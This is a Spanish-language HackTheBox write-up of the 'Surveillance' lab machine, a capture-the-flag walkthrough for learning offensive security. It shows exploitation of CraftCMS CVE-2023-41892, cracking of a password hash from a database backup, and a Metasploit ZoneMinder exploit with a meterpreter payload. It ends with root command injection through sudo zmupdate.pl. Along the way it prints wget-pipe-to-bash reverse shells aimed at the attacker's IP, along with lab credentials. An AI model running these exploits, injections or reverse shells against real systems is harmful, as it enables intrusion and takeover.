This page looks best with JavaScript enabled

HackTheBox - Surveillance

En Surveillance explotamos una vulnerabilidad en CraftCMS para acceder a la maquina, dentro, encontramos credenciales en un backup de base de datos logrando cambiar a un segundo usuario. Descubrimos ZoneMinder localmente y ademas una vulnerabilidad la cual explotamos lo que nos dio acceso a un tercer usuario. Finalmente escalamos privilegios tras analizar un script en perl donde explotamos una vulnerabilidad de Command Injection.

Nombre Surveillance box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.11.245
Maker

TheCyberGeek


TRX

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6.3, 5.9, 6.3, 3.7, 4.1],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         {
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Nmap 7.94SVN scan initiated Wed Jan  3 13:17:53 2024 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.10.11.245
Nmap scan report for 10.10.11.245
Host is up (0.063s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://surveillance.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan  3 13:18:02 2024 -- 1 IP address (1 host up) scanned in 9.32 seconds

Web Site

El sitio web nos redirige al dominio surveillance.htb el cual agregamos al archivo /etc/hosts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
 π ~/htb/surveillance ❯ curl -sI 10.10.11.245
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 03 Jan 2024 18:20:09 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://surveillance.htb/

 π ~/htb/surveillance ❯

La tematica del sitio es de seguridad en el hogar.

image

Web Tech

Observamos en el footer del sitio un enlace de Craft CMS hacia craftcms (4.4.14), vemos lo mismo en Wappalyzer entre otras tecnologias.

image
image

Directory Brute Forcing

feroxbuster muestra multiples direcciones, una de las primeras es el archivo .htaccess, tambien vemos una direccion a /admin/login.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
 π ~/htb/surveillance ❯ feroxbuster -u http://surveillance.htb/ -w $CM

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://surveillance.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.10.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET       63l      222w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        9l       26w      304c http://surveillance.htb/.htaccess
200      GET       42l      310w    32876c http://surveillance.htb/images/favicon.png
200      GET       56l      237w    22629c http://surveillance.htb/images/w3.png
200      GET       46l       97w     1008c http://surveillance.htb/js/custom.js
200      GET       42l      243w    24617c http://surveillance.htb/images/s3.png
200      GET      109l      602w    50641c http://surveillance.htb/images/s1.png
200      GET        4l       66w    31000c http://surveillance.htb/css/font-awesome.min.css
200      GET      105l      782w    62695c http://surveillance.htb/images/w2.png
200      GET       42l      310w    32876c http://surveillance.htb/images/home.png
200      GET       89l      964w    72118c http://surveillance.htb/images/hero-bg.png
200      GET      108l      201w     1870c http://surveillance.htb/css/responsive.css
200      GET      913l     1800w    17439c http://surveillance.htb/css/style.css
200      GET      783l     4077w   330169c http://surveillance.htb/images/about-img.png
200      GET    10038l    19587w   192348c http://surveillance.htb/css/bootstrap.css
200      GET      195l      842w    69222c http://surveillance.htb/images/w1.png
200      GET      114l      552w    42779c http://surveillance.htb/images/s2.png
200      GET     1518l     8174w   619758c http://surveillance.htb/images/slider-img.png
200      GET      148l      770w    71008c http://surveillance.htb/images/c2.jpg
200      GET      764l     3911w   284781c http://surveillance.htb/images/why-bg.jpg
200      GET      238l     1140w    90858c http://surveillance.htb/images/c1.jpg
200      GET        2l     1276w    88145c http://surveillance.htb/js/jquery-3.4.1.min.js
403      GET        7l       10w      162c http://surveillance.htb/images/
200      GET     4436l    10973w   136569c http://surveillance.htb/js/bootstrap.js
200      GET      475l     1185w    16230c http://surveillance.htb/
403      GET        7l       10w      162c http://surveillance.htb/css/
403      GET        7l       10w      162c http://surveillance.htb/js/
404      GET        0l        0w        0c http://surveillance.htb/_swf
404      GET        0l        0w        0c http://surveillance.htb/activeCollab
404      GET        0l        0w        0c http://surveillance.htb/js/_common
404      GET        0l        0w        0c http://surveillance.htb/js/_catalogs
404      GET        0l        0w        0c http://surveillance.htb/js/_data
404      GET        0l        0w        0c http://surveillance.htb/js/_code
404      GET        0l        0w        0c http://surveillance.htb/activities
404      GET        0l        0w        0c http://surveillance.htb/addtocart
302      GET        0l        0w        0c http://surveillance.htb/admin => http://surveillance.htb/admin/login
404      GET        0l        0w        0c http://surveillance.htb/admin_c
404      GET        0l        0w        0c http://surveillance.htb/images/1990
404      GET        0l        0w        0c http://surveillance.htb/images/1991
301      GET        7l       12w      178c http://surveillance.htb/css => http://surveillance.htb/css/
502      GET        7l       12w      166c http://surveillance.htb/firmware
301      GET        7l       12w      178c http://surveillance.htb/fonts => http://surveillance.htb/fonts/
404      GET        0l        0w        0c http://surveillance.htb/fonts/vpn
404      GET        0l        0w        0c http://surveillance.htb/fonts/vs
404      GET        0l        0w        0c http://surveillance.htb/img/system_admin
404      GET        0l        0w        0c http://surveillance.htb/fonts/web-beans
404      GET        0l        0w        0c http://surveillance.htb/fonts/webmaster
404      GET        0l        0w        0c http://surveillance.htb/fonts/wget
404      GET        0l        0w        0c http://surveillance.htb/fonts/whatever
404      GET        0l        0w        0c http://surveillance.htb/fonts/white
404      GET        0l        0w        0c http://surveillance.htb/img/timeline

.htaccess tiene una regla para sobre escribir la direccion en index.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
 π ~/htb/surveillance ❯ curl -s http://surveillance.htb/.htaccess
<IfModule mod_rewrite.c>
    RewriteEngine On

    # Send would-be 404 requests to Craft
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteCond %{REQUEST_URI} !^/(favicon\.ico|apple-touch-icon.*\.png)$ [NC]
    RewriteRule (.+) index.php?p=$1 [QSA,L]
</IfModule>
 π ~/htb/surveillance ❯

El login de CraftCMS en /admin/login.

image

User - www-data

CraftCMS - CVE-2023-41892

Descubrimos que existe una vulnerabilidad que permite la ejecucion remota de comandos en CraftCMS utilizando un objeto de Imagick (1). Encontramos un Poc para esta vulnerabilidad.

El PoC crea el archivo shell.php por donde se ejecuan los comandos, vemos el resultado de id, luego, ejecutamos una shell inversa utilizando shells.

1
2
3
4
5
6
7
8
 π ~/htb/surveillance ❯ python3 poc.py http://surveillance.htb
[-] Get temporary folder and document root ...
[-] Write payload to temporary file ...
[-] Trigger imagick to write shell ...
[-] Done, enjoy the shell
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ wget -qO- 10.10.15.0:8000/10.10.15.0:1335 | bash

Tras la ejecucion obtuvimos acceso como www-data.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
 π ~/htb/surveillance ❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.15.0] from surveillance.htb [10.10.11.245] 36044
/bin/sh: 0: can't access tty; job control turned off
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@surveillance:~/html/craft/web$

www-data@surveillance:~/html/craft/web$ whoami;id;pwd
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html/craft/web
www-data@surveillance:~/html/craft/web$

Backup

Dentro del directorio del sitio web encontramos un backup de un archivo sql.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
www-data@surveillance:~/html/craft/storage$ ls -lah
ls -lah
total 28K
drwxr-xr-x 6 www-data www-data 4.0K Oct 11 20:12 .
drwxr-xr-x 8 www-data www-data 4.0K Oct 21 18:32 ..
-rw-r--r-- 1 www-data www-data   53 May 23  2023 .gitignore
drwxrwxr-x 2 www-data www-data 4.0K Oct 17 20:33 backups
drwxrwxr-x 2 www-data www-data 4.0K Oct 17 20:26 config-deltas
drwxr-xr-x 2 www-data www-data 4.0K Jan  3 19:42 logs
drwxr-xr-x 6 www-data www-data 4.0K Oct 11 18:01 runtime
www-data@surveillance:~/html/craft/storage$ cd backups
cd backups
www-data@surveillance:~/html/craft/storage/backups$
www-data@surveillance:~/html/craft/storage/backups$ ls
ls
surveillance--2023-10-17-202801--v4.4.14.sql.zip
www-data@surveillance:~/html/craft/storage/backups$ which unzip
which unzip
/usr/bin/unzip
www-data@surveillance:~/html/craft/storage/backups$ cp surveillance--2023-10-17-202801--v4.4.14.sql.zip /dev/shm/
<lance--2023-10-17-202801--v4.4.14.sql.zip /dev/shm/
www-data@surveillance:~/html/craft/storage/backups$ cd /dev/shm
cd /dev/shm
www-data@surveillance:/dev/shm$ ls -lah
ls -lah
total 20K
drwxrwxrwt  2 root     root       60 Jan  3 19:43 .
drwxr-xr-x 20 root     root     4.0K Jan  3 19:05 ..
-rw-r--r--  1 www-data www-data  20K Jan  3 19:43 surveillance--2023-10-17-202801--v4.4.14.sql.zip
www-data@surveillance:/dev/shm$ unzip sur*
unzip sur*
Archive:  surveillance--2023-10-17-202801--v4.4.14.sql.zip
  inflating: surveillance--2023-10-17-202801--v4.4.14.sql
www-data@surveillance:/dev/shm$ ls
ls
surveillance--2023-10-17-202801--v4.4.14.sql
surveillance--2023-10-17-202801--v4.4.14.sql.zip
www-data@surveillance:/dev/shm$

Tras extraer y observar su contenido, vemos el registro de un usuario donde se observa el hash de su contrasena.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
--
-- Dumping data for table `users`
--

LOCK TABLES `users` WRITE;
/*!40000 ALTER TABLE `users` DISABLE KEYS */;
set autocommit=0;
INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,'admin','Matthew B','Matthew','B','admin@surveillance.htb','39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec','2023-10-17 20:22:34',NULL,NULL,NULL,'2023-10-11 18:58:57',NULL,1,NULL,NULL,NULL,0,'2023-10-17 20:27:46','2023-10-11 17:57:16','2023-10-17 20:27:46');
/*!40000 ALTER TABLE `users` ENABLE KEYS */;
UNLOCK TABLES;
commit;

Crackstation nos muestra en texto plano el valor del hash.

Hash Type Result
39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec sha256 starcraft122490

User - Mattew

Utilizando la contrasena y el usuario logramos obtener acceso a mattew junto con la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
www-data@surveillance:~$ su matthew
su matthew
Password: starcraft122490
matthew@surveillance:/var/www$ whoami
matthew
matthew@surveillance:/var/www$ cd
matthew@surveillance:~$ ls
user.txt
matthew@surveillance:~$ cat user.txt
d6feb5b4d2b341b8a17ff19b1de9ff00
matthew@surveillance:~$

Cambiamos a una shell mas comoda, SSH.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
 π ~/htb/surveillance ❯ ssh matthew@surveillance.htb # starcraft122490
The authenticity of host 'surveillance.htb (10.10.11.245)' can't be established.
ED25519 key fingerprint is SHA256:Q8HdGZ3q/X62r8EukPF0ARSaCd+8gEhEJ10xotOsBBE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'surveillance.htb' (ED25519) to the list of known hosts.
matthew@surveillance.htb's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-89-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Jan  3 08:42:48 PM UTC 2024

  System load:  0.240234375       Processes:             233
  Usage of /:   84.1% of 5.91GB   Users logged in:       0
  Memory usage: 20%               IPv4 address for eth0: 10.10.11.245
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Dec  5 12:43:54 2023 from 10.10.14.40
matthew@surveillance:~$ whoami
matthew
matthew@surveillance:~$

User - Zoneminder

Localmente observamos el puerto 8080 a la escucha.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
matthew@surveillance:~$ netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
matthew@surveillance:~$

ZoneMinder

Tras realizar una solicitud con curl vemos en el titulo que se trata de algun login.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
matthew@surveillance:~$ curl -s 127.0.0.1:8080 | head -n 15
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>ZM - Login</title>

  <link rel="icon" type="image/ico" href="graphics/favicon.ico"/>
  <link rel="shortcut icon" href="graphics/favicon.ico"/>
<link rel="stylesheet" href="css/reset.css" type="text/css"/>
<link rel="stylesheet" href="css/font-awesome.min.css" type="text/css"/>
<link rel="stylesheet" href="css/bootstrap.min.css" type="text/css"/>
<link rel="stylesheet" href="css/bootstrap-table.min.css" type="text/css"/>
<link rel="stylesheet" href="css/bootstrap-table-page-jump-to.min.css" type="text/css"/>
matthew@surveillance:~$

Obtuvimos localmente el puerto por SSH.

1
2
3
 π ~/htb/surveillance ❯ ssh matthew@surveillance.htb -L 8081:127.0.0.1:8080 -Nf # starcraft122490
matthew@surveillance.htb's password:
 π ~/htb/surveillance ❯

Se observa un login sencillo.

image

El enlace de la documentacion mostrada en el dropdown nos envia a zoneminder, aunque no muestra ninguna version especifica.

image

Version

Enconramos en los archivos de configuracion de nginx el directorio de zoneminder

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
matthew@surveillance:/etc/nginx/sites-enabled$ cat zoneminder.conf
server {
    listen 127.0.0.1:8080;

    root /usr/share/zoneminder/www;

    index index.php;

    access_log /var/log/zm/access.log;
    error_log /var/log/zm/error.log;

    location / {
        try_files $uri $uri/ /index.php?$args =404;

        location ~ /api/(css|img|ico) {
            rewrite ^/api(.+)$ /api/app/webroot/$1 break;
            try_files $uri $uri/ =404;
        }

        location /api {
            rewrite ^/api(.+)$ /api/app/webroot/index.php?p=$1 last;
        }

        location /cgi-bin {
            include fastcgi_params;

            fastcgi_param SCRIPT_FILENAME $request_filename;
            fastcgi_param HTTP_PROXY "";

            fastcgi_pass unix:/run/fcgiwrap.sock;
        }

        location ~ \.php$ {
            include fastcgi_params;

            fastcgi_param SCRIPT_FILENAME $request_filename;
            fastcgi_param HTTP_PROXY "";

            fastcgi_index index.php;

            fastcgi_pass unix:/var/run/php/php8.1-fpm-zoneminder.sock;
        }
    }
}
matthew@surveillance:/etc/nginx/sites-enabled$

Encontramos la version de zoneminder en el archivo de configuracion.

1
2
3
matthew@surveillance:/usr/share/zoneminder/www$ cat includes/config.php | grep Version
define( 'ZM_VERSION', '1.36.32' );               // Version
matthew@surveillance:/usr/share/zoneminder/www$

Con ello tambien encontramos un exploit de metasploit que afecta a esta version, ZoneMinder Snapshots Command Injection.

MSF - CVE-2023-26035

Ejecutamos metasploit y configuramos el exploit, como target nuestra direccion local ya que zoneminder lo obtuvimos localmente por SSH.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
msf6 exploit(unix/webapp/zoneminder_snapshots) > show options

Module options (exploit/unix/webapp/zoneminder_snapshots):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      8081             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The ZoneMinder path
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8282             yes       The local port to listen on.


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_COMMAND       CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      QzBwXndQNS       no        Name to use on remote system when storing payload; cannot contain spaces.
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       9090             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  /tmp             yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST               10.10.15.0       yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   nix Command



View the full module info with the info, or info -d command.

msf6 exploit(unix/webapp/zoneminder_snapshots) >

Meterpreter/Shell

Tras ejecutar el exploit, primero verifica si es vulnerable, al confirmarlo ejecuta una shell meterpreter la cual se ejecuta correctamente y obtuvimos acceso como zoneminder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
msf6 exploit(unix/webapp/zoneminder_snapshots) > run

[*] Started reverse TCP handler on 10.10.15.0:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Elapsed time: 14.32740105799894 seconds.
[+] The target is vulnerable.
[*] Fetching CSRF Token
[+] Got Token: key:01d3d014b84e1dea80290745ad882a40b5e9c55d,1704315489
[*] Executing nix Command for cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Sending payload
[*] Sending stage (3045380 bytes) to 10.10.11.245
[*] Meterpreter session 1 opened (10.10.15.0:4444 -> 10.10.11.245:41796) at 2024-01-03 15:57:23 -0500
[+] Payload sent

meterpreter > shell
Process 2638 created.
Channel 1 created.
whoami
zoneminder

Privesc

Observamos que este usuario puede ejecutar cualquier script perl existente en /usr/bin/ iniciando con las letras zm.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
sudo -l -l
Matching Defaults entries for zoneminder on surveillance:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User zoneminder may run the following commands on surveillance:

Sudoers entry:
    RunAsUsers: ALL
    RunAsGroups: ALL
    Options: !authenticate
    Commands:
	/usr/bin/zm[a-zA-Z]*.pl *

Observamos que el directorio tiene varios scripts en el directorio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
zoneminder@surveillance:/usr/bin$ ls -lah zm*.pl
-rwxr-xr-x 1 root root  43K Nov 23  2022 zmaudit.pl
-rwxr-xr-x 1 root root  13K Nov 23  2022 zmcamtool.pl
-rwxr-xr-x 1 root root 6.0K Nov 23  2022 zmcontrol.pl
-rwxr-xr-x 1 root root  26K Nov 23  2022 zmdc.pl
-rwxr-xr-x 1 root root  35K Nov 23  2022 zmfilter.pl
-rwxr-xr-x 1 root root 5.6K Nov 23  2022 zmonvif-probe.pl
-rwxr-xr-x 1 root root  19K Nov 23  2022 zmonvif-trigger.pl
-rwxr-xr-x 1 root root  14K Nov 23  2022 zmpkg.pl
-rwxr-xr-x 1 root root  18K Nov 23  2022 zmrecover.pl
-rwxr-xr-x 1 root root 4.8K Nov 23  2022 zmstats.pl
-rwxr-xr-x 1 root root 2.1K Nov 23  2022 zmsystemctl.pl
-rwxr-xr-x 1 root root  13K Nov 23  2022 zmtelemetry.pl
-rwxr-xr-x 1 root root 5.3K Nov 23  2022 zmtrack.pl
-rwxr-xr-x 1 root root  19K Nov 23  2022 zmtrigger.pl
-rwxr-xr-x 1 root root  45K Nov 23  2022 zmupdate.pl
-rwxr-xr-x 1 root root 8.1K Nov 23  2022 zmvideo.pl
-rwxr-xr-x 1 root root 6.9K Nov 23  2022 zmwatch.pl
-rwxr-xr-x 1 root root  20K Nov 23  2022 zmx10.pl
zoneminder@surveillance:/usr/bin$

Command Injection - zmupdate.pl

Tras intentar con cada uno de los parametros que ofrecen los scripts finalmente llegamos a zmupdate.pl. Este permite verificar y actualizar la version de la base de datos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
sudo /usr/bin/zmupdate.pl -h
Unknown option: h
Usage:
    zmupdate.pl -c,--check | -f,--freshen | -v<version>,--version=<version>
    [-u <dbuser> -p <dbpass>]

Options:
    -c, --check - Check for updated versions of ZoneMinder -f, --freshen -
    Freshen the configuration in the database. Equivalent of old zmconfig.pl
    -noi --migrate-events - Update database structures as per
    USE_DEEP_STORAGE setting. -v <version>, --version=<version> - Force
    upgrade to the current version from <version> -u <dbuser>,
    --user=<dbuser> - Alternate DB user with privileges to alter DB -p
    <dbpass>, --pass=<dbpass> - Password of alternate DB user with
    privileges to alter DB -s, --super - Use system maintenance account on
    debian based systems instead of unprivileged account -d <dir>,
    --dir=<dir> - Directory containing update files if not in default build
    location -interactive - interact with the user -nointeractive - do not
    interact with the user

Si observamos la ejecucion se muestra al final un comando que ejecuta mysql con algunos parametros ya definidos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
sudo /usr/bin/zmupdate.pl --version=1

Initiating database upgrade to version 1.36.32 from version 1

WARNING - You have specified an upgrade from version 1 but the database version found is 1.36.32. Is this correct?
Press enter to continue or ctrl-C to abort : 1

Do you wish to take a backup of your database prior to upgrading?
This may result in a large file in /tmp/zm if you have a lot of events.
Press 'y' for a backup or 'n' to continue : y
Creating backup to /tmp/zm/zm-1.dump. This may take several minutes.
Database successfully backed up to /tmp/zm/zm-1.dump, proceeding to upgrade.

Upgrading database to version 1.36.32
Upgrading DB to 1.26.1 from 1.26.0

Database successfully upgraded to version 1.26.1.
Upgrading DB to 1.26.2 from 1.26.0

Database successfully upgraded to version 1.26.2.
Upgrading DB to 1.26.3 from 1.26.0

[ ... ]

Database successfully upgraded to version 1.28.109.
Upgrading DB to 1.28.110 from 1.26.0

Database successfully upgraded to version 1.28.110.
Upgrading DB to 1.29.0 from 1.26.0

Database successfully upgraded to version 1.29.0.
Upgrading DB to 1.30.0 from 1.26.0

Database successfully upgraded to version 1.30.0.
Upgrading DB to 1.30.1 from 1.26.0
ERROR 1136 (21S01) at line 8: Column count doesn't match value count at row 1
Output:
Command 'mysql -uzmuser -p'ZoneMinderPassword2023' -hlocalhost zm < /usr/share/zoneminder/db/zm_update-1.30.1.sql' exited with status: 1

Observamos que el comando toma un usuario, contrasena, direccion de la base de datos y el archivo sql que es ejecutado.

1
Command 'mysql -uzmuser -p'ZoneMinderPassword2023' -hlocalhost zm < /usr/share/zoneminder/db/zm_update-1.30.1.sql' exited with status: 1

Si observamos el codigo fuente vemos que no existe algun tipo de filtro para el parametro $dbUser, mas adelante vemos la ejecucion del comando, de la misma forma sin ningun tipo de filtro (funcion patchDB).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
sub patchDB {

# [...]

  if ($super) {
    $command .= ' --defaults-file=/etc/mysql/debian.cnf';
  } elsif ($dbUser) {
    $command .= ' -u'.$dbUser;
    $command .= ' -p\''.$dbPass.'\'' if $dbPass;
  }

  # [...]

  print("Executing '$command'\n") if logDebugging();
  ($command) = $command =~ /(.*)/; # detaint
  my $output = qx($command);
  my $status = $? >> 8;
  if ( $status || logDebugging() ) {
    chomp($output);
    print("Output: $output\n");
  }
  if ( $status ) {
    die("Command '$command' exited with status: $status\n");
  }

  # [...]

Intentamos ejecutar el comando id redirigiendo el resultado al archivo id. Tras la ejecucion observamos que el comando se ejecuto y vemos el resultado del comando en el archivo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
sudo /usr/bin/zmupdate.pl --version="1" -u '$(id>id_output)'

Initiating database upgrade to version 1.36.32 from version 1

WARNING - You have specified an upgrade from version 1 but the database version found is 1.36.32. Is this correct?
Press enter to continue or ctrl-C to abort :

Do you wish to take a backup of your database prior to upgrading?
This may result in a large file in /tmp/zm if you have a lot of events.
Press 'y' for a backup or 'n' to continue : y
Creating backup to /tmp/zm/zm-1.dump. This may take several minutes.
mysqldump: Got error: 1698: "Access denied for user '-pZoneMinderPassword2023'@'localhost'" when trying to connect
Command 'mysqldump -u$(id>id_output) -p'ZoneMinderPassword2023' -hlocalhost --add-drop-table --databases zm > /tmp/zm/zm-1.dump' exited with status: 2
Output:

ls -lah
total 24K
drwxr-x--- 2 zoneminder zoneminder 4.0K Jan  3 22:33 .
drwxr-xr-x 4 root       root       4.0K Oct 17 11:20 ..
lrwxrwxrwx 1 root       root          9 Nov  9 12:46 .bash_history -> /dev/null
-rw-r--r-- 1 zoneminder zoneminder  220 Oct 17 11:20 .bash_logout
-rw-r--r-- 1 zoneminder zoneminder 3.7K Oct 17 11:20 .bashrc
-rw-r--r-- 1 zoneminder zoneminder  807 Oct 17 11:20 .profile
-rw-r--r-- 1 root       root         39 Jan  3 22:33 id_output
cat id_output
uid=0(root) gid=0(root) groups=0(root)

Flag root.txt

Realizamos la lectura de la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
sudo /usr/bin/zmupdate.pl --version="1" -u '$(cat /root/root.txt > flag.txt)'

Initiating database upgrade to version 1.36.32 from version 1

WARNING - You have specified an upgrade from version 1 but the database version found is 1.36.32. Is this correct?
Press enter to continue or ctrl-C to abort :

Do you wish to take a backup of your database prior to upgrading?
This may result in a large file in /tmp/zm if you have a lot of events.
Press 'y' for a backup or 'n' to continue : y
Creating backup to /tmp/zm/zm-1.dump. This may take several minutes.
mysqldump: Got error: 1698: "Access denied for user '-pZoneMinderPassword2023'@'localhost'" when trying to connect
Command 'mysqldump -u$(cat /root/root.txt > flag.txt) -p'ZoneMinderPassword2023' -hlocalhost --add-drop-table --databases zm > /tmp/zm/zm-1.dump' exited with status: 2
Output:
ls
flag.txt
id
list
cat flag.txt
cc7d4ed7f88577b61dec641f6931bedb

Shell

Ejecutamos una shell inversa a traves de este script.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
sudo /usr/bin/zmupdate.pl --version="1" -u '$(wget -qO- 10.10.15.0:8000/10.10.15.0:1335 | bash)'

Initiating database upgrade to version 1.36.32 from version 1

